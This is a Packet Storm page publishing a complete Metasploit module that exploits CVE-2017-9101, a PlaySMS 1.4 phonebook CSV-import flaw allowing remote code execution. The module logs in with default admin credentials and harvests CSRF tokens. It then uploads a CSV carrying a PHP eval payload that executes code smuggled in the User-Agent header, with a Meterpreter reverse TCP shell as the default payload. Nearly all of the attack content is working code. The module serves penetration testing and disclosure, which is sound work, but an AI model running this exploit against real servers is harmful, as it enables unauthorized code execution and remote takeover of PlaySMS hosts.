Twenty Year Anniversary

PlaySMS import.php Code Execution

PlaySMS import.php Code Execution
Posted May 7, 2018
Authored by Touhid M.Shaikh | Site metasploit.com

This Metasploit module exploits an authenticated file upload remote code execution vulnerability in PlaySMS version 1.4. This issue is caused by improper file contents handling in import.php (aka the Phonebook import feature). Authenticated Users can upload a CSV file containing a malicious payload via vectors involving the User-Agent HTTP header and PHP code in the User-Agent. This Metasploit module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7.

tags | exploit, remote, web, php, code execution, file upload
systems | windows, 7
advisories | CVE-2017-9101
MD5 | f976c4045dcaba09573750799d5fb25a

PlaySMS import.php Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'PlaySMS import.php Authenticated CSV File Upload Code Execution',
'Description' => %q{
This module exploits an authenticated file upload remote code excution vulnerability
in PlaySMS Version 1.4. This issue is caused by improper file contents handling in
import.php (aka the Phonebook import feature). Authenticated Users can upload a CSV
file containing a malicious payload via vectors involving the User-Agent HTTP header
and PHP code in the User-Agent.
This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7.
},
'Author' =>
[
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>' # Discoverys and Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE','2017-9101'],
['URL','https://www.youtube.com/watch?v=KIB9sKQdEwE'],
['EDB','42044']
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'ENCODER' => 'php/base64',
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'PlaySMS 1.4', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 21 2017'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin'])
])
end

def uri
return target_uri.path
end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php')
})
rescue
vprint_error('Unable to access the index.php file')
return CheckCode::Unknown
end

if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
return Exploit::CheckCode::Appears
end

return CheckCode::Safe
end

def login
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
}
})

# Grabbing CSRF token from body
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for login : #{csrf}")

cookies = res.get_cookies
vprint_status('Trying to Login ......')
# Send Creds with cookies.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
'op' => 'login',
}.to_a.shuffle],
'vars_post' => Hash[{
'X-CSRF-Token' => csrf,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}.to_a.shuffle],
})

fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?

# Try to access index page with authenticated cookie.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
})

# if we redirect to core_welcome dan we assume we have authenticated cookie.
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome')
print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
return cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
end
end


# Tested successfully on Dina: 1.0.1 machine on vulnhub.
# Link : https://www.vulnhub.com/entry/dina-101,200/
def exploit

cookies = login

# Agian CSRF token.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'feature_phonebook',
'route' => 'import',
'op' => 'list',
}.to_a.shuffle]
})

fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?

# Grabbing CSRF token from body
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for upload : #{csrf}")

# Payload.
evil = "<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>"
#making csv file body
final_csv = "Name,Email,Department\n"
final_csv << "#{evil},#{rand(1..100)},#{rand(1..100)}"
# setup POST request.
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token
post_data.add_part(final_csv, content_type = 'text/csv', transfer_encoding = nil, content_disposition = 'form-data; name="fnpb"; filename="agent22.csv"') #payload
data = post_data.to_s

vprint_status('Trying to upload malicious CSV file ....')
# Lets Send Upload request.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'POST',
'agent' => payload.encode,
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'feature_phonebook',
'route' => 'import',
'op' => 'import',
}.to_a.shuffle],
'headers' => {
'Upgrade-Insecure-Requests' => '1',
},
'Connection' => 'close',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
})
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close